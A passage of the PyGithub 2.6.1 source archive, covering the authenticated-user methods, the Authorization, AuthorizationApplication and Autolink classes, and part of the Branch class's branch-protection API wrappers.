`GET /user/subscriptions/{owner}/{repo} `_ """ assert isinstance(subscription, github.Repository.Repository), subscription status, headers, data = self._requester.requestJson("GET", f"/user/subscriptions/{subscription._identity}") return status == 204 def has_in_watched(self, watched: Repository) -> bool: """ :calls: `GET /repos/{owner}/{repo}/subscription `_ """ assert isinstance(watched, github.Repository.Repository), watched status, headers, data = self._requester.requestJson("GET", f"/repos/{watched._identity}/subscription") return status == 200 def mark_notifications_as_read(self, last_read_at: datetime | None = None) -> None: """ :calls: `PUT /notifications `_ """ if last_read_at is None: last_read_at = datetime.now(timezone.utc) assert isinstance(last_read_at, datetime) put_parameters = {"last_read_at": last_read_at.strftime("%Y-%m-%dT%H:%M:%SZ")} headers, data = self._requester.requestJsonAndCheck("PUT", "/notifications", input=put_parameters) def remove_from_emails(self, *emails: str) -> None: """ :calls: `DELETE /user/emails `_ """ assert all(isinstance(element, str) for element in emails), emails post_parameters = {"emails": emails} headers, data = self._requester.requestJsonAndCheck("DELETE", "/user/emails", input=post_parameters) def remove_from_following(self, following: NamedUser) -> None: """ :calls: `DELETE /user/following/{user} `_ """ assert isinstance(following, github.NamedUser.NamedUser), following headers, data = self._requester.requestJsonAndCheck("DELETE", f"/user/following/{following._identity}") def remove_from_starred(self, starred: Repository) -> None: """ :calls: `DELETE /user/starred/{owner}/{repo} `_ """ assert isinstance(starred, github.Repository.Repository), starred headers, data = self._requester.requestJsonAndCheck("DELETE", f"/user/starred/{starred._identity}") def remove_from_subscriptions(self, subscription: Repository) -> None: """ :calls: `DELETE /user/subscriptions/{owner}/{repo} `_ """ assert isinstance(subscription, github.Repository.Repository), subscription headers, data = self._requester.requestJsonAndCheck("DELETE", f"/user/subscriptions/{subscription._identity}") def remove_from_watched(self, watched: Repository) -> None: """ :calls: `DELETE /repos/{owner}/{repo}/subscription `_ """ assert isinstance(watched, github.Repository.Repository), watched headers, data = self._requester.requestJsonAndCheck("DELETE", f"/repos/{watched._identity}/subscription") def accept_invitation(self, invitation: Invitation | int) -> None: """ :calls: `PATCH /user/repository_invitations/{invitation_id} `_ """ assert isinstance(invitation, github.Invitation.Invitation) or isinstance(invitation, int) if isinstance(invitation, github.Invitation.Invitation): invitation = invitation.id headers, data = self._requester.requestJsonAndCheck( "PATCH", f"/user/repository_invitations/{invitation}", input={} ) def get_invitations(self) -> PaginatedList[Invitation]: """ :calls: `GET /user/repository_invitations `_ """ return PaginatedList( github.Invitation.Invitation, self._requester, "/user/repository_invitations", None, ) def create_migration( self, repos: list[Repository] | tuple[Repository], lock_repositories: Opt[bool] = NotSet, exclude_attachments: Opt[bool] = NotSet, ) -> Migration: """ :calls: `POST /user/migrations `_ """ assert isinstance(repos, (list, tuple)), repos assert all(isinstance(repo, str) for repo in repos), repos assert is_optional(lock_repositories, bool), lock_repositories assert is_optional(exclude_attachments, bool), exclude_attachments post_parameters: dict[str, Any] = NotSet.remove_unset_items( { "repositories": repos, "lock_repositories": lock_repositories, "exclude_attachments": exclude_attachments, } ) headers, data = self._requester.requestJsonAndCheck( "POST", "/user/migrations", input=post_parameters, headers={"Accept": Consts.mediaTypeMigrationPreview}, ) return github.Migration.Migration(self._requester, headers, data, completed=True) def get_migrations(self) -> PaginatedList[Migration]: """ :calls: `GET /user/migrations `_ """ return PaginatedList( github.Migration.Migration, self._requester, "/user/migrations", None, headers={"Accept": Consts.mediaTypeMigrationPreview}, ) def get_organization_memberships(self) -> PaginatedList[Membership]: """ :calls: `GET /user/memberships/orgs/ `_ """ return PaginatedList( github.Membership.Membership, self._requester, "/user/memberships/orgs", None, ) def get_organization_membership(self, org: str) -> Membership: """ :calls: `GET /user/memberships/orgs/{org} `_ """ assert isinstance(org, str) org = urllib.parse.quote(org) headers, data = self._requester.requestJsonAndCheck("GET", f"/user/memberships/orgs/{org}") return github.Membership.Membership(self._requester, headers, data, completed=True) def _useAttributes(self, attributes: dict[str, Any]) -> None: if "avatar_url" in attributes: # pragma no branch self._avatar_url = self._makeStringAttribute(attributes["avatar_url"]) if "bio" in attributes: # pragma no branch self._bio = self._makeStringAttribute(attributes["bio"]) if "blog" in attributes: # pragma no branch self._blog = self._makeStringAttribute(attributes["blog"]) if "collaborators" in attributes: # pragma no branch self._collaborators = self._makeIntAttribute(attributes["collaborators"]) if "company" in attributes: # pragma no branch self._company = self._makeStringAttribute(attributes["company"]) if "created_at" in attributes: # pragma no branch self._created_at = self._makeDatetimeAttribute(attributes["created_at"]) if "disk_usage" in attributes: # pragma no branch self._disk_usage = self._makeIntAttribute(attributes["disk_usage"]) if "email" in attributes: # pragma no branch self._email = self._makeStringAttribute(attributes["email"]) if "events_url" in attributes: # pragma no branch self._events_url = self._makeStringAttribute(attributes["events_url"]) if "followers" in attributes: # pragma no branch self._followers = self._makeIntAttribute(attributes["followers"]) if "followers_url" in attributes: # pragma no branch self._followers_url = self._makeStringAttribute(attributes["followers_url"]) if "following" in attributes: # pragma no branch self._following = self._makeIntAttribute(attributes["following"]) if "following_url" in attributes: # pragma no branch self._following_url = self._makeStringAttribute(attributes["following_url"]) if "gists_url" in attributes: # pragma no branch self._gists_url = self._makeStringAttribute(attributes["gists_url"]) if "gravatar_id" in attributes: # pragma no branch self._gravatar_id = self._makeStringAttribute(attributes["gravatar_id"]) if "hireable" in attributes: # pragma no branch self._hireable = self._makeBoolAttribute(attributes["hireable"]) if "html_url" in attributes: # pragma no branch self._html_url = self._makeStringAttribute(attributes["html_url"]) if "id" in attributes: # pragma no branch self._id = self._makeIntAttribute(attributes["id"]) if "location" in attributes: # pragma no branch self._location = self._makeStringAttribute(attributes["location"]) if "login" in attributes: # pragma no branch self._login = self._makeStringAttribute(attributes["login"]) if "name" in attributes: # pragma no branch self._name = self._makeStringAttribute(attributes["name"]) if "node_id" in attributes: # pragma no branch self._node_id = self._makeStringAttribute(attributes["node_id"]) if "organizations_url" in attributes: # pragma no branch self._organizations_url = self._makeStringAttribute(attributes["organizations_url"]) if "owned_private_repos" in attributes: # pragma no branch self._owned_private_repos = self._makeIntAttribute(attributes["owned_private_repos"]) if "plan" in attributes: # pragma no branch self._plan = self._makeClassAttribute(github.Plan.Plan, attributes["plan"]) if "private_gists" in attributes: # pragma no branch self._private_gists = self._makeIntAttribute(attributes["private_gists"]) if "public_gists" in attributes: # pragma no branch self._public_gists = self._makeIntAttribute(attributes["public_gists"]) if "public_repos" in attributes: # pragma no branch self._public_repos = self._makeIntAttribute(attributes["public_repos"]) if "received_events_url" in attributes: # pragma no branch self._received_events_url = self._makeStringAttribute(attributes["received_events_url"]) if "repos_url" in attributes: # pragma no branch self._repos_url = self._makeStringAttribute(attributes["repos_url"]) if "site_admin" in attributes: # pragma no branch self._site_admin = self._makeBoolAttribute(attributes["site_admin"]) if "starred_url" in attributes: # pragma no branch self._starred_url = self._makeStringAttribute(attributes["starred_url"]) if "subscriptions_url" in attributes: # pragma no branch self._subscriptions_url = self._makeStringAttribute(attributes["subscriptions_url"]) if "total_private_repos" in attributes: # pragma no branch self._total_private_repos = self._makeIntAttribute(attributes["total_private_repos"]) if "two_factor_authentication" in attributes: self._two_factor_authentication = self._makeBoolAttribute(attributes["two_factor_authentication"]) if "type" in attributes: # pragma no branch self._type = self._makeStringAttribute(attributes["type"]) if "updated_at" in attributes: # pragma no branch self._updated_at = self._makeDatetimeAttribute(attributes["updated_at"]) if "url" in attributes: # pragma no branch self._url = self._makeStringAttribute(attributes["url"]) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/github/Authorization.py0000644000175100001660000002061514756101563017466 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 AKFish # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Jannis Gebauer # # Copyright 2016 Peter Buckley # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2021 Steve Kowalik # # Copyright 2023 Enrico Minack # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2023 Trim21 # # Copyright 2024 Enrico Minack # # Copyright 2024 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from __future__ import annotations from datetime import datetime from typing import TYPE_CHECKING, Any import github.AuthorizationApplication import github.GithubObject from github.GithubObject import Attribute, NotSet, Opt, _NotSetType if TYPE_CHECKING: from github.AuthorizationApplication import AuthorizationApplication class Authorization(github.GithubObject.CompletableGithubObject): """ This class represents Authorizations. The reference can be found here https://docs.github.com/en/enterprise-server@3.0/rest/reference/oauth-authorizations """ def _initAttributes(self) -> None: self._app: Attribute[AuthorizationApplication] = NotSet self._created_at: Attribute[datetime] = NotSet self._id: Attribute[int] = NotSet self._note: Attribute[str | None] = NotSet self._note_url: Attribute[str | None] = NotSet self._scopes: Attribute[str] = NotSet self._token: Attribute[str] = NotSet self._updated_at: Attribute[datetime] = NotSet self._url: Attribute[str] = NotSet def __repr__(self) -> str: return self.get__repr__({"scopes": self._scopes.value}) @property def app(self) -> AuthorizationApplication: self._completeIfNotSet(self._app) return self._app.value @property def created_at(self) -> datetime: """ :type: datetime.datetime """ self._completeIfNotSet(self._created_at) return self._created_at.value @property def id(self) -> int: self._completeIfNotSet(self._id) return self._id.value @property def note(self) -> str | None: self._completeIfNotSet(self._note) return self._note.value @property def note_url(self) -> str | None: self._completeIfNotSet(self._note_url) return self._note_url.value @property def scopes(self) -> str: self._completeIfNotSet(self._scopes) return self._scopes.value @property def token(self) -> str: self._completeIfNotSet(self._token) return self._token.value @property def updated_at(self) -> datetime: self._completeIfNotSet(self._updated_at) return self._updated_at.value @property def url(self) -> str: self._completeIfNotSet(self._url) return self._url.value def delete(self) -> None: """ :calls: `DELETE /authorizations/{id} `_ """ headers, data = self._requester.requestJsonAndCheck("DELETE", self.url) def edit( self, scopes: Opt[list[str]] = NotSet, add_scopes: Opt[list[str]] = NotSet, remove_scopes: Opt[list[str]] = NotSet, note: Opt[str] = NotSet, note_url: Opt[str] = NotSet, ) -> None: """ :calls: `PATCH /authorizations/{id} `_ :param scopes: list of string :param add_scopes: list of string :param remove_scopes: list of string :param note: string :param note_url: string :rtype: None """ assert isinstance(scopes, _NotSetType) or all(isinstance(element, str) for element in scopes), scopes assert isinstance(add_scopes, _NotSetType) or all( isinstance(element, str) for element in add_scopes ), add_scopes assert isinstance(remove_scopes, _NotSetType) or all( isinstance(element, str) for element in remove_scopes ), remove_scopes assert isinstance(note, (_NotSetType, str)), note assert isinstance(note_url, (_NotSetType, str)), note_url post_parameters = NotSet.remove_unset_items( { "scopes": scopes, "add_scopes": add_scopes, "remove_scopes": remove_scopes, "note": note, "note_url": note_url, } ) headers, data = self._requester.requestJsonAndCheck("PATCH", self.url, input=post_parameters) self._useAttributes(data) def _useAttributes(self, attributes: dict[str, Any]) -> None: if "app" in attributes: # pragma no branch self._app = self._makeClassAttribute( github.AuthorizationApplication.AuthorizationApplication, attributes["app"], ) if "created_at" in attributes: # pragma no branch self._created_at = self._makeDatetimeAttribute(attributes["created_at"]) if "id" in attributes: # pragma no branch self._id = self._makeIntAttribute(attributes["id"]) if "note" in attributes: # pragma no branch self._note = self._makeStringAttribute(attributes["note"]) if "note_url" in attributes: # pragma no branch self._note_url = self._makeStringAttribute(attributes["note_url"]) if "scopes" in attributes: # pragma no branch self._scopes = self._makeListOfStringsAttribute(attributes["scopes"]) if "token" in attributes: # pragma no branch self._token = self._makeStringAttribute(attributes["token"]) if "updated_at" in attributes: # pragma no branch self._updated_at = self._makeDatetimeAttribute(attributes["updated_at"]) if "url" in attributes: # pragma no branch self._url = self._makeStringAttribute(attributes["url"]) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/github/AuthorizationApplication.py0000644000175100001660000000751014756101563021651 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 AKFish # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Jannis Gebauer # # Copyright 2016 Peter Buckley # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2023 Enrico Minack # # Copyright 2023 Trim21 # # Copyright 2024 Enrico Minack # # Copyright 2024 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from typing import Any, Dict from github.GithubObject import Attribute, CompletableGithubObject, NotSet class AuthorizationApplication(CompletableGithubObject): """ This class represents AuthorizationApplications. """ def _initAttributes(self) -> None: self._name: Attribute[str] = NotSet self._url: Attribute[str] = NotSet def __repr__(self) -> str: return self.get__repr__({"name": self._name.value}) @property def name(self) -> str: self._completeIfNotSet(self._name) return self._name.value @property def url(self) -> str: self._completeIfNotSet(self._url) return self._url.value def _useAttributes(self, attributes: Dict[str, Any]) -> None: if "name" in attributes: # pragma no branch self._name = self._makeStringAttribute(attributes["name"]) if "url" in attributes: # pragma no branch self._url = self._makeStringAttribute(attributes["url"]) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/github/Autolink.py0000644000175100001660000001152114756101563016410 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Peter Buckley # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # # Copyright 2019 Adam Baratz # # Copyright 2019 Nick Campbell # # Copyright 2019 Steve Kowalik # # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2021 Steve Kowalik # # Copyright 2022 Marco Köpcke # # Copyright 2023 Enrico Minack # # Copyright 2023 Oskar Jansson <56458534+janssonoskar@users.noreply.github.com># # Copyright 2023 Trim21 # # Copyright 2024 Enrico Minack # # Copyright 2024 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from typing import Any, Dict from github.GithubObject import Attribute, NonCompletableGithubObject, NotSet class Autolink(NonCompletableGithubObject): """ This class represents Repository autolinks. The reference can be found here https://docs.github.com/en/rest/repos/autolinks?apiVersion=2022-11-28 The OpenAPI schema can be found at - /components/schemas/autolink """ def _initAttributes(self) -> None: self._id: Attribute[int] = NotSet self._is_alphanumeric: Attribute[bool] = NotSet self._key_prefix: Attribute[str] = NotSet self._url_template: Attribute[str] = NotSet def __repr__(self) -> str: return self.get__repr__({"id": self._id.value}) @property def id(self) -> int: return self._id.value @property def is_alphanumeric(self) -> bool: return self._is_alphanumeric.value @property def key_prefix(self) -> str: return self._key_prefix.value @property def url_template(self) -> str: return self._url_template.value def _useAttributes(self, attributes: Dict[str, Any]) -> None: if "id" in attributes: # pragma no branch self._id = self._makeIntAttribute(attributes["id"]) if "is_alphanumeric" in attributes: # pragma no branch self._is_alphanumeric = self._makeBoolAttribute(attributes["is_alphanumeric"]) if "key_prefix" in attributes: # pragma no branch self._key_prefix = self._makeStringAttribute(attributes["key_prefix"]) if "url_template" in attributes: # pragma no branch self._url_template = self._makeStringAttribute(attributes["url_template"]) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/github/Branch.py0000644000175100001660000007653314756101563016035 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 AKFish # # Copyright 2013 Vincent Jacques # # Copyright 2013 martinqt # # Copyright 2014 Vincent Jacques # # Copyright 2015 Kyle Hornberg # # Copyright 2016 Jannis Gebauer # # Copyright 2016 Peter Buckley # # Copyright 2018 Alice GIRARD # # Copyright 2018 Steve Kowalik # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2021 Mark Walker # # Copyright 2021 Steve Kowalik # # Copyright 2023 Enrico Minack # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2023 Juan Manuel "Kang" Pérez # # Copyright 2023 Kevin Grandjean # # Copyright 2023 Paul Luna # # Copyright 2023 Thomas Devoogdt # # Copyright 2023 Trim21 # # Copyright 2023 terenho <33275803+terenho@users.noreply.github.com> # # Copyright 2024 Benjamin K <53038537+treee111@users.noreply.github.com> # # Copyright 2024 Benjamin K. <53038537+treee111@users.noreply.github.com> # # Copyright 2024 Enrico Minack # # Copyright 2024 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from __future__ import annotations from typing import TYPE_CHECKING, Any import github.BranchProtection import github.Commit import github.RequiredPullRequestReviews import github.RequiredStatusChecks from github import Consts from github.GithubObject import ( Attribute, NonCompletableGithubObject, NotSet, Opt, is_defined, is_optional, is_optional_list, is_undefined, ) if TYPE_CHECKING: from github.BranchProtection import BranchProtection from github.Commit import Commit from github.NamedUser import NamedUser from github.PaginatedList import PaginatedList from github.RequiredPullRequestReviews import RequiredPullRequestReviews from github.RequiredStatusChecks import RequiredStatusChecks from github.Team import Team class Branch(NonCompletableGithubObject): """ This class represents Branches. The reference can be found here https://docs.github.com/en/rest/reference/repos#branches The OpenAPI schema can be found at - /components/schemas/branch-short - /components/schemas/branch-with-protection - /components/schemas/short-branch """ def _initAttributes(self) -> None: self.__links: Attribute[dict[str, Any]] = NotSet self._commit: Attribute[Commit] = github.GithubObject.NotSet self._name: Attribute[str] = github.GithubObject.NotSet self._pattern: Attribute[str] = NotSet self._protected: Attribute[bool] = github.GithubObject.NotSet self._protection: Attribute[BranchProtection] = NotSet self._protection_url: Attribute[str] = github.GithubObject.NotSet self._required_approving_review_count: Attribute[int] = NotSet def __repr__(self) -> str: return self.get__repr__({"name": self._name.value}) @property def _links(self) -> dict[str, Any]: return self.__links.value @property def commit(self) -> Commit: return self._commit.value @property def name(self) -> str: return self._name.value @property def pattern(self) -> str: return self._pattern.value @property def protected(self) -> bool: return self._protected.value @property def protection(self) -> BranchProtection: if is_undefined(self._protection): return self.get_protection() return self._protection.value @property def protection_url(self) -> str: return self._protection_url.value @property def required_approving_review_count(self) -> int: return self._required_approving_review_count.value def get_protection(self) -> BranchProtection: """ :calls: `GET /repos/{owner}/{repo}/branches/{branch}/protection `_ """ headers, data = self._requester.requestJsonAndCheck( "GET", self.protection_url, headers={"Accept": Consts.mediaTypeRequireMultipleApprovingReviews}, ) return github.BranchProtection.BranchProtection(self._requester, headers, data, completed=True) def edit_protection( self, strict: Opt[bool] = NotSet, contexts: Opt[list[str]] = NotSet, enforce_admins: Opt[bool] = NotSet, dismissal_users: Opt[list[str]] = NotSet, dismissal_teams: Opt[list[str]] = NotSet, dismissal_apps: Opt[list[str]] = NotSet, dismiss_stale_reviews: Opt[bool] = NotSet, require_code_owner_reviews: Opt[bool] = NotSet, required_approving_review_count: Opt[int] = NotSet, user_push_restrictions: Opt[list[str]] = NotSet, team_push_restrictions: Opt[list[str]] = NotSet, app_push_restrictions: Opt[list[str]] = NotSet, required_linear_history: Opt[bool] = NotSet, allow_force_pushes: Opt[bool] = NotSet, required_conversation_resolution: Opt[bool] = NotSet, lock_branch: Opt[bool] = NotSet, allow_fork_syncing: Opt[bool] = NotSet, users_bypass_pull_request_allowances: Opt[list[str]] = NotSet, teams_bypass_pull_request_allowances: Opt[list[str]] = NotSet, apps_bypass_pull_request_allowances: Opt[list[str]] = NotSet, block_creations: Opt[bool] = NotSet, require_last_push_approval: Opt[bool] = NotSet, allow_deletions: Opt[bool] = NotSet, checks: Opt[list[str | tuple[str, int]]] = NotSet, ) -> BranchProtection: """ :calls: `PUT /repos/{owner}/{repo}/branches/{branch}/protection `_ NOTE: The GitHub API groups strict and contexts together, both must be submitted. Take care to pass both as arguments even if only one is changing. Use edit_required_status_checks() to avoid this. """ assert is_optional(strict, bool), strict assert is_optional_list(contexts, str), contexts assert is_optional(enforce_admins, bool), enforce_admins assert is_optional_list(dismissal_users, str), dismissal_users assert is_optional_list(dismissal_teams, str), dismissal_teams assert is_optional_list(dismissal_apps, str), dismissal_apps assert is_optional(dismiss_stale_reviews, bool), dismiss_stale_reviews assert is_optional(require_code_owner_reviews, bool), require_code_owner_reviews assert is_optional(required_approving_review_count, int), required_approving_review_count assert is_optional(required_linear_history, bool), required_linear_history assert is_optional(allow_force_pushes, bool), allow_force_pushes assert is_optional(required_conversation_resolution, bool), required_conversation_resolution assert is_optional(lock_branch, bool), lock_branch assert is_optional(allow_fork_syncing, bool), allow_fork_syncing assert is_optional_list(users_bypass_pull_request_allowances, str), users_bypass_pull_request_allowances assert is_optional_list(teams_bypass_pull_request_allowances, str), teams_bypass_pull_request_allowances assert is_optional_list(apps_bypass_pull_request_allowances, str), apps_bypass_pull_request_allowances assert is_optional(require_last_push_approval, bool), require_last_push_approval assert is_optional(allow_deletions, bool), allow_deletions assert is_optional_list(checks, (str, tuple)), checks if is_defined(checks): assert all(not isinstance(check, tuple) or list(map(type, check)) == [str, int] for check in checks), checks post_parameters: dict[str, Any] = {} if is_defined(strict) or is_defined(contexts) or is_defined(checks): if is_undefined(strict): strict = False checks_parameters = [] if is_defined(checks): checks_parameters = [ {"context": check[0], "app_id": check[1]} if isinstance(check, tuple) else {"context": check} for check in checks ] elif is_defined(contexts): checks_parameters = [{"context": context} for context in contexts] post_parameters["required_status_checks"] = { "strict": strict, "checks": checks_parameters, } else: post_parameters["required_status_checks"] = None if is_defined(enforce_admins): post_parameters["enforce_admins"] = enforce_admins else: post_parameters["enforce_admins"] = None if ( is_defined(dismissal_users) or is_defined(dismissal_teams) or is_defined(dismissal_apps) or is_defined(dismiss_stale_reviews) or is_defined(require_code_owner_reviews) or is_defined(required_approving_review_count) or is_defined(users_bypass_pull_request_allowances) or is_defined(teams_bypass_pull_request_allowances) or is_defined(apps_bypass_pull_request_allowances) or is_defined(require_last_push_approval) ): post_parameters["required_pull_request_reviews"] = {} if is_defined(dismiss_stale_reviews): post_parameters["required_pull_request_reviews"]["dismiss_stale_reviews"] = dismiss_stale_reviews if is_defined(require_code_owner_reviews): post_parameters["required_pull_request_reviews"][ "require_code_owner_reviews" ] = require_code_owner_reviews if is_defined(required_approving_review_count): post_parameters["required_pull_request_reviews"][ "required_approving_review_count" ] = required_approving_review_count if is_defined(require_last_push_approval): post_parameters["required_pull_request_reviews"][ "require_last_push_approval" ] = require_last_push_approval dismissal_restrictions = {} if is_defined(dismissal_users): dismissal_restrictions["users"] = dismissal_users if is_defined(dismissal_teams): dismissal_restrictions["teams"] = dismissal_teams if is_defined(dismissal_apps): dismissal_restrictions["apps"] = dismissal_apps if dismissal_restrictions: post_parameters["required_pull_request_reviews"]["dismissal_restrictions"] = dismissal_restrictions bypass_pull_request_allowances = {} if is_defined(users_bypass_pull_request_allowances): bypass_pull_request_allowances["users"] = users_bypass_pull_request_allowances if is_defined(teams_bypass_pull_request_allowances): bypass_pull_request_allowances["teams"] = teams_bypass_pull_request_allowances if is_defined(apps_bypass_pull_request_allowances): bypass_pull_request_allowances["apps"] = apps_bypass_pull_request_allowances if bypass_pull_request_allowances: post_parameters["required_pull_request_reviews"][ "bypass_pull_request_allowances" ] = bypass_pull_request_allowances else: post_parameters["required_pull_request_reviews"] = None if ( is_defined(user_push_restrictions) or is_defined(team_push_restrictions) or is_defined(app_push_restrictions) ): if is_undefined(user_push_restrictions): user_push_restrictions = [] if is_undefined(team_push_restrictions): team_push_restrictions = [] if is_undefined(app_push_restrictions): app_push_restrictions = [] post_parameters["restrictions"] = { "users": user_push_restrictions, "teams": team_push_restrictions, "apps": app_push_restrictions, } else: post_parameters["restrictions"] = None if is_defined(required_linear_history): post_parameters["required_linear_history"] = required_linear_history else: post_parameters["required_linear_history"] = None if is_defined(allow_force_pushes): post_parameters["allow_force_pushes"] = allow_force_pushes else: post_parameters["allow_force_pushes"] = None if is_defined(required_conversation_resolution): post_parameters["required_conversation_resolution"] = required_conversation_resolution else: post_parameters["required_conversation_resolution"] = None if is_defined(lock_branch): post_parameters["lock_branch"] = lock_branch else: post_parameters["lock_branch"] = None if is_defined(allow_fork_syncing): post_parameters["allow_fork_syncing"] = allow_fork_syncing else: post_parameters["allow_fork_syncing"] = None if is_defined(block_creations): post_parameters["block_creations"] = block_creations else: post_parameters["block_creations"] = None if is_defined(allow_deletions): post_parameters["allow_deletions"] = allow_deletions else: post_parameters["allow_deletions"] = None headers, data = self._requester.requestJsonAndCheck( "PUT", self.protection_url, headers={"Accept": Consts.mediaTypeRequireMultipleApprovingReviews}, input=post_parameters, ) return github.BranchProtection.BranchProtection(self._requester, headers, data, completed=True) def remove_protection(self) -> None: """ :calls: `DELETE /repos/{owner}/{repo}/branches/{branch}/protection `_ """ headers, data = self._requester.requestJsonAndCheck( "DELETE", self.protection_url, ) def get_required_status_checks(self) -> RequiredStatusChecks: """ :calls: `GET /repos/{owner}/{repo}/branches/{branch}/protection/required_status_checks `_ :rtype: :class:`github.RequiredStatusChecks.RequiredStatusChecks` """ headers, data = self._requester.requestJsonAndCheck("GET", f"{self.protection_url}/required_status_checks") return github.RequiredStatusChecks.RequiredStatusChecks(self._requester, headers, data, completed=True) def edit_required_status_checks( self, strict: Opt[bool] = NotSet, contexts: Opt[list[str]] = NotSet, checks: Opt[list[str | tuple[str, int]]] = NotSet, ) -> RequiredStatusChecks: """ :calls: `PATCH /repos/{owner}/{repo}/branches/{branch}/protection/required_status_checks `_ """ assert is_optional(strict, bool), strict assert is_optional_list(contexts, str), contexts assert is_optional_list(checks, (str, tuple)), checks if is_defined(checks): assert all(not isinstance(check, tuple) or list(map(type, check)) == [str, int] for check in checks), checks checks_parameters: Opt[list[dict[str, Any]]] = NotSet if is_defined(checks): checks_parameters = [ {"context": check[0], "app_id": check[1]} if isinstance(check, tuple) else {"context": check} for check in checks ] elif is_defined(contexts): checks_parameters = [{"context": context} for context in contexts] post_parameters: dict[str, Any] = NotSet.remove_unset_items({"strict": strict, "checks": checks_parameters}) headers, data = self._requester.requestJsonAndCheck( "PATCH", f"{self.protection_url}/required_status_checks", input=post_parameters, ) return github.RequiredStatusChecks.RequiredStatusChecks(self._requester, headers, data, completed=True) def remove_required_status_checks(self) -> None: """ :calls: `DELETE /repos/{owner}/{repo}/branches/{branch}/protection/required_status_checks `_ """ headers, data = self._requester.requestJsonAndCheck( "DELETE", f"{self.protection_url}/required_status_checks", ) def get_required_pull_request_reviews(self) -> RequiredPullRequestReviews: """ :calls: `GET /repos/{owner}/{repo}/branches/{branch}/protection/required_pull_request_reviews `_ """ headers, data = self._requester.requestJsonAndCheck( "GET", f"{self.protection_url}/required_pull_request_reviews", headers={"Accept": Consts.mediaTypeRequireMultipleApprovingReviews}, ) return github.RequiredPullRequestReviews.RequiredPullRequestReviews( self._requester, headers, data, completed=True ) def edit_required_pull_request_reviews( self, dismissal_users: Opt[list[str]] = NotSet, dismissal_teams: Opt[list[str]] = NotSet, dismissal_apps: Opt[list[str]] = NotSet, dismiss_stale_reviews: Opt[bool] = NotSet, require_code_owner_reviews: Opt[bool] = NotSet, required_approving_review_count: Opt[int] = NotSet, require_last_push_approval: Opt[bool] = NotSet, ) -> RequiredStatusChecks: """ :calls: `PATCH /repos/{owner}/{repo}/branches/{branch}/protection/required_pull_request_reviews `_ """ assert is_optional_list(dismissal_users, str), dismissal_users assert is_optional_list(dismissal_teams, str), 